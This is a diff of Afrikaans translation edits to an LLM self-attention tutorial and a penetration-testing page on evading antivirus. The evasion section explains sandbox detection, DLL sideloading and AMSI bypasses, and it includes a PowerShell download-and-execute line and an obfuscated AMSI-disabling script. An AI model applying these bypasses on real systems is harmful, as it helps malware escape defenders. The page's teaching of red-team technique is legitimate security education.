Soos in die voorbeeld van tevore, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Skaal die Punte**
|
**Skaal die Punte**
|
||||||
|
|
||||||
Om te voorkom dat die dot produkte te groot word, skaal dit deur die vierkant wortel van die sleutel dimensie `dk`:
|
Om te voorkom dat die dot produkte te groot word, skaal hulle met die vierkantswortel van die sleutel dimensie `dk`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Die punt word gedeel deur die vierkant wortel van die dimensies omdat dot produkte baie groot kan word en dit help om hulle te reguleer.
|
Die punt word gedeel deur die vierkantswortel van die dimensies omdat dot produkte baie groot kan word en dit help om hulle te reguleer.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Pas Softmax toe om Aandag Gewigte te Verkry:** Soos in die aanvanklike voorbeeld, normaliseer al die waardes sodat hulle 1 som.
|
**Pas Softmax toe om Aandag Gewigte te Verkry:** Soos in die aanvanklike voorbeeld, normaliseer al die waardes sodat hulle 1 som.
|
||||||
|
@ -185,7 +185,7 @@ Soos in die aanvanklike voorbeeld, som net al die waardes matriks op deur elkeen
|
||||||
|
|
||||||
### Kode Voorbeeld
|
### Kode Voorbeeld
|
||||||
|
|
||||||
Grijp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
Gryp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
||||||
```python
|
```python
|
||||||
import torch
|
import torch
|
||||||
|
|
||||||
|
@ -230,11 +230,11 @@ Let daarop dat in plaas daarvan om die matriks met ewekansige waardes te initial
|
||||||
|
|
||||||
## Causale Aandag: Toekomstige Woorde Versteek
|
## Causale Aandag: Toekomstige Woorde Versteek
|
||||||
|
|
||||||
Vir LLMs wil ons hê die model moet slegs die tokens oorweeg wat voor die huidige posisie verskyn om die **volgende token** te **voorspel**. **Causale aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
Vir LLMs wil ons hê die model moet slegs die tokens oorweeg wat voor die huidige posisie verskyn om die **volgende token** te **voorspel**. **Causale aandag**, ook bekend as **gemaskeerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
||||||
|
|
||||||
### Toepassing van 'n Causale Aandagmasker
|
### Toepassing van 'n Causale Aandagmasker
|
||||||
|
|
||||||
Om causale aandag te implementeer, pas ons 'n masker toe op die aandag punte **voor die softmax operasie** sodat die oorblywende eenhede steeds 1 sal optel. Hierdie masker stel die aandag punte van toekomstige tokens op negatiewe oneindigheid, wat verseker dat na die softmax, hul aandag gewigte nul is.
|
Om causale aandag te implementeer, pas ons 'n masker toe op die aandag punte **voor die softmax operasie** sodat die oorblywende eenhede steeds 1 sal som. Hierdie masker stel die aandag punte van toekomstige tokens op negatiewe oneindigheid, wat verseker dat na die softmax, hul aandag gewigte nul is.
|
||||||
|
|
||||||
**Stappe**
|
**Stappe**
|
||||||
|
|
||||||
|
@ -245,7 +245,7 @@ Om causale aandag te implementeer, pas ons 'n masker toe op die aandag punte **v
|
||||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||||
masked_scores = attention_scores + mask
|
masked_scores = attention_scores + mask
|
||||||
```
|
```
|
||||||
3. **Pas Softmax Toe**: Bereken aandag gewigte met behulp van die gemaskerde punte.
|
3. **Pas Softmax Toe**: Bereken aandag gewigte met behulp van die gemaskeerde punte.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
### Kode Voorbeeld
|
### Kode Voorbeeld
|
||||||
|
|
||||||
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe gelyktydig verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n wrapper by te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe gelyktydig verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons wil 3 koppe gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
||||||
```python
|
```python
|
||||||
class MultiHeadAttention(nn.Module):
|
class MultiHeadAttention(nn.Module):
|
||||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||||
|
@ -412,7 +412,7 @@ Vir 'n ander kompakte en doeltreffende implementering kan jy die [`torch.nn.Mult
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Kort antwoord van ChatGPT oor hoekom dit beter is om dimensies van tokens onder die koppe te verdeel in plaas daarvan om elke kop al die dimensies van al die tokens te laat nagaan:
|
Kort antwoord van ChatGPT oor hoekom dit beter is om dimensies van tokens onder die koppe te verdeel in plaas daarvan om elke kop al die dimensies van al die tokens te laat nagaan:
|
||||||
|
|
||||||
Terwyl dit dalk voordelig mag lyk om elke kop toegang te gee tot al die inbedingsdimensies, is die standaardpraktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
|
Terwyl dit mag voorkom asof dit voordelig is om elke kop al die inbed dimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaard praktyk om **die inbed dimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaar doeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbed dimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
|
@ -15,21 +15,21 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||||
|
|
||||||
## **AV Evasie Metodologie**
|
## **AV Ontwyk Metodologie**
|
||||||
|
|
||||||
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
||||||
|
|
||||||
### **Statiese opsporing**
|
### **Statiese opsporing**
|
||||||
|
|
||||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te omseil:
|
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
|
||||||
|
|
||||||
* **Enkripsie**
|
* **Enkripsie**
|
||||||
|
|
||||||
|
@ -37,7 +37,7 @@ As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te
|
||||||
|
|
||||||
* **Obfuskasie**
|
* **Obfuskasie**
|
||||||
|
|
||||||
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
|
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
|
||||||
|
|
||||||
* **Pasgemaakte gereedskap**
|
* **Pasgemaakte gereedskap**
|
||||||
|
|
||||||
|
@ -47,17 +47,17 @@ As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge w
|
||||||
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
|
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasie kyk.
|
Ek beveel sterk aan dat jy hierdie [YouTube speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Ontwyking kyk.
|
||||||
|
|
||||||
### **Dinamiese analise**
|
### **Dinamiese analise**
|
||||||
|
|
||||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te omseil.
|
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskode se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te ontwyk.
|
||||||
|
|
||||||
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre onderbreek. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
||||||
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
||||||
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
|
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
|
||||||
|
|
||||||
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne Defender se sandbox, so jy kan jou program laat verlaat.
|
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -72,18 +72,18 @@ Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik*
|
||||||
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in Defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
Wanneer jy jou payloads vir ontwyking aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om ontwyking op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## EXEs vs DLLs
|
## EXEs vs DLLs
|
||||||
|
|
||||||
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir evasie**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir ontwyking**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
||||||
|
|
||||||
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
|
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL</p></figcaption></figure>
|
||||||
|
|
||||||
Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.
|
Nou gaan ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.
|
||||||
|
|
||||||
## DLL Sideloading & Proxying
|
## DLL Sideloading & Proxying
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL-hijacking binne
|
||||||
|
|
||||||
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.
|
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.
|
||||||
|
|
||||||
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou payload nie laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
|
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou payload nie laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag, om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
|
||||||
|
|
||||||
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
|
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
|
||||||
|
|
||||||
|
@ -167,7 +167,7 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_ma
|
||||||
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
|
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
|
||||||
|
|
||||||
* Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
|
* Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
|
||||||
* PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluasie)
|
* PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
|
||||||
* Windows Script Host (wscript.exe en cscript.exe)
|
* Windows Script Host (wscript.exe en cscript.exe)
|
||||||
* JavaScript en VBScript
|
* JavaScript en VBScript
|
||||||
* Office VBA makros
|
* Office VBA makros
|
||||||
|
@ -180,7 +180,7 @@ Die uitvoering van `IEX (New-Object Net.WebClient).DownloadString('https://raw.g
|
||||||
|
|
||||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
||||||
|
|
||||||
Ons het geen lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
Ons het nie enige lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||||
|
|
||||||
Daar is 'n paar maniere om rondom AMSI te kom:
|
Daar is 'n paar maniere om rondom AMSI te kom:
|
||||||
|
|
||||||
|
@ -188,7 +188,7 @@ Daar is 'n paar maniere om rondom AMSI te kom:
|
||||||
|
|
||||||
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
||||||
|
|
||||||
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlikes se name te verander en jy sal reg wees, so dit hang af van hoe veel iets gemerk is.
|
Echter, AMSI het die vermoë om skripte te onobfuskeer selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
|
||||||
|
|
||||||
* **AMSI Ontwyking**
|
* **AMSI Ontwyking**
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe le
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Alles wat nodig was, was een lyn van powershell kode om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie lyn is natuurlik deur AMSI self gemerk, so 'n paar wysigings is nodig om hierdie tegniek te gebruik.
|
Alles wat dit geneem het, was een lyn van powershell kode om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie lyn is natuurlik deur AMSI self gemerk, so 'n paar wysigings is nodig om hierdie tegniek te gebruik.
|
||||||
|
|
||||||
Hier is 'n gewysigde AMSI omseiling wat ek van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) geneem het.
|
Hier is 'n gewysigde AMSI omseiling wat ek van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) geneem het.
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -220,11 +220,11 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||||
$Spotfix.SetValue($null,$true)
|
$Spotfix.SetValue($null,$true)
|
||||||
}Catch{Throw $_}
|
}Catch{Throw $_}
|
||||||
```
|
```
|
||||||
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos verskyn, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
|
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
|
||||||
|
|
||||||
**Geheue Patching**
|
**Geheue Patching**
|
||||||
|
|
||||||
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat as 'n skoon resultaat geïnterpreteer word.
|
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-gelewer insette) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat geïnterpreteer word as 'n skoon resultaat.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
|
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
|
||||||
|
@ -232,21 +232,21 @@ Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rast
|
||||||
|
|
||||||
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/#amsi-bypass) en [hierdie repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
|
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/#amsi-bypass) en [hierdie repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
|
||||||
|
|
||||||
Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.
|
Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch
|
||||||
|
|
||||||
## Obfuscation
|
## Obfuskaasie
|
||||||
|
|
||||||
Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike tekskode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos:
|
Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike teks kode** te **obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre** te obfuskeer soos:
|
||||||
|
|
||||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder**
|
||||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskerings](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
|
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskaasie](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
|
||||||
